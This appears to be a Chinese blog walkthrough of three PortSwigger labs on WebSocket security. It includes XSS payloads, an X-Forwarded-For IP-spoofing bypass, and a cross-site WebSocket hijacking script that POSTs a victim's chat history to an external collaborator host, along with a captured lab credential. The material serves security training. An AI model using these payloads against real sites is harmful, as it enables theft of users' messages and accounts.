burp靶场--WebSockets安全漏洞

这篇具有很好参考价值的文章主要介绍了burp靶场--WebSockets安全漏洞。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

burp靶场–WebSockets安全漏洞

https://portswigger.net/web-security/websockets/what-are-websockets

### 什么是 WebSocket?
WebSocket是一种通过 HTTP 发起的双向、全双工通信协议。它们通常在现代 Web 应用程序中用于流数据和其他异步流量。
在本节中,我们将解释 HTTP 和 WebSocket 之间的区别,描述如何建立 WebSocket 连接,并概述 WebSocket 消息的外观。

### HTTP 和 WebSocket 之间有什么区别?
Web 浏览器和网站之间的大多数通信都使用 HTTP。使用 HTTP,客户端发送请求,服务器返回响应。通常,响应立即发生,并且事务完成。即使网络连接保持打开状态,这也将用于请求和响应的单独事务。
一些现代网站使用 WebSocket。WebSocket 连接是通过 HTTP 发起的,并且通常是长期存在的。消息可以随时向任一方向发送,并且本质上不是事务性的。连接通常会保持打开和空闲状态,直到客户端或服务器准备好发送消息。

WebSocket 在需要低延迟或服务器启动消息的情况下特别有用,例如实时提供财务数据。
WebSocket 连接是如何建立的?
WebSocket 连接通常使用客户端 JavaScript 创建,如下所示:
var ws = new WebSocket("wss://normal-website.com/chat");
笔记
该wss协议通过加密的 TLS 连接建立 WebSocket,而该ws协议则使用未加密的连接。

为了建立连接,浏览器和服务器通过 HTTP 执行 WebSocket 握手。浏览器发出如下 WebSocket 握手请求:

GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
如果服务器接受连接,它将返回一个 WebSocket 握手响应,如下所示:

HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
此时,网络连接保持打开状态,可用于在任一方向发送 WebSocket 消息。

笔记
WebSocket 握手消息的几个特点值得注意:

请求和响应中的 和 标头表明这是一次 WebSocket 握手Connection。Upgrade
请求Sec-WebSocket-Version标头指定客户端希望使用的 WebSocket 协议版本。这通常是13.
请求Sec-WebSocket-Key标头包含一个 Base64 编码的随机值,该值应在每次握手请求中随机生成。
响应Sec-WebSocket-Accept标头包含请求标头中提交的值的哈希值Sec-WebSocket-Key,与协议规范中定义的特定字符串连接。这样做是为了防止由于错误配置的服务器或缓存代理而导致误导性响应。
WebSocket 消息是什么样的?
一旦建立了 WebSocket 连接,客户端或服务器就可以在任一方向上异步发送消息。

可以使用客户端 JavaScript 从浏览器发送一条简单的消息,如下所示:

ws.send("Peter Wiener");
原则上,WebSocket 消息可以包含任何内容或数据格式。在现代应用程序中,JSON 通常用于在 WebSocket 消息中发送结构化数据。
例如,使用 WebSocket 的聊天机器人应用程序可能会发送如下消息:
{"user":"Hal Pline","content":"I wanted to be a Playstation growing up, not a device to answer your inane questions"}

实验1:操纵WebSocket消息以利用漏洞

### 实验要求:
该在线商店具有使用WebSockets 实现的实时聊天功能。
支持代理会实时查看您提交的聊天消息。
要完成该实验,请使用 WebSocket 消息alert()在支持代理的浏览器中触发弹出窗口。

### 实验操作:
单击“实时聊天”并发送聊天消息。
在 Burp Proxy 中,转到 WebSockets 历史选项卡,并观察聊天消息已通过 WebSocket 消息发送。
使用浏览器发送包含字符的新消息<。
在Burp Proxy中,找到对应的WebSocket消息,观察到该消息<在发送前已经被客户端进行了HTML编码。
确保 Burp 代理配置为拦截 WebSocket 消息,然后发送另一条聊天消息。
编辑截获的消息以包含以下有效负载:

<img src=1 onerror='alert(1)'>
观察浏览器中是否触发了警报。这也会发生在支持代理的浏览器中。

burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全
burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全
burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全
burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全
burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全

实验2:跨站WebSocket劫持【注意实验实验高版本burp和火狐浏览器】

###
该在线商店具有使用WebSockets 实现的实时聊天功能。
要解决该实验室问题,请使用漏洞利用服务器托管 HTML/JavaScript 有效负载,该有效负载使用跨站点 WebSocket 劫持攻击来窃取受害者的聊天记录,然后使用此访问权限访问其帐户。

###
单击“实时聊天”并发送聊天消息。
重新加载页面。
在 Burp Proxy 的 WebSockets 历史记录选项卡中,观察“READY”命令从服务器检索过去的聊天消息。
在 Burp Proxy 的 HTTP 历史记录选项卡中,找到 WebSocket 握手请求。请注意,该请求没有CSRF令牌。
右键单击握手请求并选择“复制 URL”。
在浏览器中,转到漏洞利用服务器并将以下模板粘贴到“正文”部分:

<script>
    var ws = new WebSocket('wss://your-websocket-url');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
替换your-websocket-url为 WebSocket 握手中的 URL ( YOUR-LAB-ID.web-security-academy.net/chat)。确保将协议从 更改https://为wss://。替换为Burp Collaboratoryour-collaborator-url生成的有效负载。
单击“查看漏洞利用”。
在“协作者”选项卡中轮询交互。验证攻击是否已成功检索您的聊天历史记录并通过 Burp Collaborator 进行泄露。对于聊天中的每条消息,Burp Collaborator 都会收到一个 HTTP 请求。请求正文包含 JSON 格式的聊天消息的完整内容。请注意,这些消息可能无法按正确的顺序接收。
返回漏洞利用服务器并将漏洞利用程序传递给受害者。
再次轮询“协作者”选项卡中的交互。请注意,您收到了更多包含受害者聊天历史记录的 HTTP 交互。检查这些消息并注意到其中一封包含受害者的用户名和密码。
使用窃取的凭据登录受害者用户的帐户。

实验聊天窗口向服务端发送消息,查看代理中websockets历史:
burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全
在Burp代理的HTTP历史记录选项卡中,找到WebSocket握手请求。观察请求是否没有CSRF令牌

右键单击握手请求并选择"复制URL"
burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全
在hacker控制的web服务器托管恶意js脚本:

<script>
    var ws = new WebSocket('wss://your-websocket-url');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>
 
我的是:
<script>
    var ws = new WebSocket('wss://0ad7004203c4c9098311a5b000800096.web-security-academy.net/chat');
    ws.onopen = function() {
        ws.send("READY");
    };
    ws.onmessage = function(event) {
        fetch('https://nulw7almcuxdaey4o9j6r1rlyc43sugj.oastify.com', {method: 'POST', mode: 'no-cors', body: event.data});
    };
</script>

burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全
burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全
凭据:carlos: fj83hbdbohtky68riu8b
然后攻击者利用凭据登陆了用户的账户:
burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全

实验3:操纵WebSocket握手来利用漏洞

### 实验要求:
该在线商店具有使用WebSockets 实现的实时聊天功能。
它有一个激进但有缺陷的 XSS 过滤器。
要完成该实验,请使用 WebSocket 消息alert()在支持代理的浏览器中触发弹出窗口。

### 实验操作:
单击“实时聊天”并发送聊天消息。
在 Burp Proxy 中,转到 WebSockets 历史选项卡,并观察聊天消息已通过 WebSocket 消息发送。
右键单击该消息并选择“发送到转发器”。
编辑并重新发送包含基本 XSS 负载的消息,例如:

<img src=1 onerror='alert(1)'>
请注意,攻击已被阻止,并且您的 WebSocket 连接已终止。
单击“重新连接”,并观察连接尝试失败,因为您的 IP 地址已被禁止。
将以下标头添加到握手请求中以欺骗您的 IP 地址:

X-Forwarded-For: 1.1.1.1
点击“连接”即可成功重新连接WebSocket。
发送包含混淆的 XSS 负载的 WebSocket 消息,例如:

<img src=1 oNeRrOr=alert`1`>

查看在线聊天的wss流量,将其中自己发送的一条消息的wss包发送到 repeater:
burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全
插入xss代码重放,被过滤器拦截,中断了wss连接:
burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全
burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全
修改websockets的请求重连的数据包:x-forwarded-for:1.1.1.1绕过服务器ip封锁:重新建立wss连接:
burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全
再次插入xss重放,攻击浏览器客户端成功:
burp靶场--WebSockets安全漏洞,burp靶场,WEB安全,渗透测试,网络安全,web安全文章来源地址https://www.toymoban.com/news/detail-823520.html

参考:

### portswigger:官方websockets实验:
https://portswigger.net/web-security/websockets/what-are-websockets
### 【burpsuite安全练兵场-客户端16】测试WebSockets安全漏洞-3个实验(全)
https://blog.csdn.net/qq_53079406/article/details/128715771
### PayloadsAllTheThings:Web Sockets
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Web%20Sockets
### owasp测试 WebSocket:
https://owasp.org/www-project-web-security-testing-guide/stable/4-Web_Application_Security_Testing/11-Client-side_Testing/10-Testing_WebSockets

到了这里,关于burp靶场--WebSockets安全漏洞的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • Web安全:bWAPP 靶场搭建.(集成了各种常见漏洞和最新漏洞的开源Web应用程序)

    bWAPP是一个集成了了常见漏洞的 web 应用程序,目的是作为漏洞测试的演练场,帮助安全爱好者,开发人员和学生发现和防止Web漏洞。它有超过100个网络漏洞数据,包括所有主要的已知网络漏洞. Web安全:bWAPP 靶场搭建. 靶场安装步骤: 第一步:(1)安装 phpStudy. 第二步:(

    2024年02月09日
    浏览(48)
  • WEB十大安全漏洞(OWASP Top 10)与渗透测试记录

            每年 OWASP(开放 Web 应用程序安全项目)都会发布十大安全漏洞。它代表了对 Web 应用程序最关键的安全风险的广泛共识。了解十大WEB漏洞种类并善于在渗透测试中发现漏洞是安全行业人员的基本要求。 1.失效的访问控制 2.加密机制失效 3.注入 4.不安全的设计 5.安

    2024年02月02日
    浏览(60)
  • web渗透安全学习笔记:1、入门基础知识/ XXS漏洞

        自编写python渗透工具编写学习笔记专栏以来,笔者便发现了一个较为严重的问题:我们大多数文章都是学习如何用python编写扫描与利用漏洞的渗透工具,却没有真正解析漏洞的形成原因,长此以往我们的学习就只会浮于表面,广而不深。为了改变这一现状,笔者决定以深

    2024年02月03日
    浏览(55)
  • web安全-文件上传漏洞-图片马制作-相关php函数讲解-upload靶场通关详细教学(3)

    制作图片马有两种方法,一种是文本方式打开,末尾粘贴一句话木马,令一种是使用命令进行合成。 方法1 首先准备好一个图片(这里是1.png)。 将一个图片以文本格式打开(这里用的Notepad++,以记事本方式打开修改也能连接成功,不过修改后图片无法正常显示了)。 后面粘

    2024年02月06日
    浏览(56)
  • 【burpsuite安全练兵场-客户端16】测试WebSockets安全漏洞-3个实验(全)

         博主:网络安全领域狂热爱好者(承诺在CSDN永久无偿分享文章)。 殊荣:CSDN网络安全领域优质创作者,2022年双十一业务安全保卫战-某厂第一名,某厂特邀数字业务安全研究员,edusrc高白帽,vulfocus、攻防世界等平台排名100+、高校漏洞证书、cnvd原创漏洞证书,华为云

    2024年02月02日
    浏览(35)
  • 命令执行漏洞--ibos靶场(靶场环境是掌控安全的)

    命令执行:用户传入的参数,会被当成系统指令来执行,指令内容用户可控,属于代码执行的一种 ctrl+u:在view-source模式自动换行 危险函数 1. system()函数:直接执行命令,并且输出 2. exec()函数:默认显示最后一行结果,没有输出 3. shell_exec()函数:多行结果,没有输出 4. pa

    2024年04月16日
    浏览(37)
  • API安全Top 10 漏洞:crAPI漏洞靶场与解题思路

    靶场简介 在 hack 中学习,不要去学习 hack 。 对于想了解 API 安全的同学,最直接的方式就是拿到一个靶场进行实战。正好,crAPI 项目就是 OWASP 推出的 API 安全项目,可以帮助大家了解常见的 API 安全漏洞。 本文将对 crAPI 靶场的相关漏洞以及打靶思路进行简单的介绍,希望对

    2024年01月20日
    浏览(43)
  • 【网络安全 --- 任意文件上传漏洞靶场闯关 6-15关】任意文件上传漏洞靶场闯关,让你更深入了解文件上传漏洞以及绕过方式方法,思路技巧

      首先分享一个自己做的很不错的网路安全笔记,内容详细介绍了许多知识 超详细的网络安全笔记 分享一个非常详细的网络安全笔记,是我学习网安过程中用心写的,可以点开以下链接获取: 超详细的网络安全笔记​编辑https://m.tb.cn/h.5JdFcih?tk=OuVrWRl9vMx%20CZ3457 https://m.tb.cn/

    2024年02月07日
    浏览(48)
  • 渗透测试漏洞原理之---【组件安全】

    A9:2017-Using Components with Known Vulnerabilities A06:2021 – Vulnerable and Outdated Components 组件(例如:库、框架和其他软件模块)拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用,可能会造成严重的数据 丢失或服务器接管。同时,使用含有已知漏洞的组件

    2024年02月09日
    浏览(46)
  • 渗透测试漏洞原理之---【业务安全】

    1.1业务安全现状 1.1.1、业务逻辑漏洞 近年来,随着信息化技术的迅速发展和全球一体化进程的不断加快,计算机和⽹络已经成为与所有⼈都息息相关的⼯具和媒介,个⼈的⼯作、⽣活和娱乐,企业的管理,乃⾄国家的发展和改⾰都⽆处其外。信息和互联⽹带来的不仅仅是便利

    2024年02月09日
    浏览(41)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包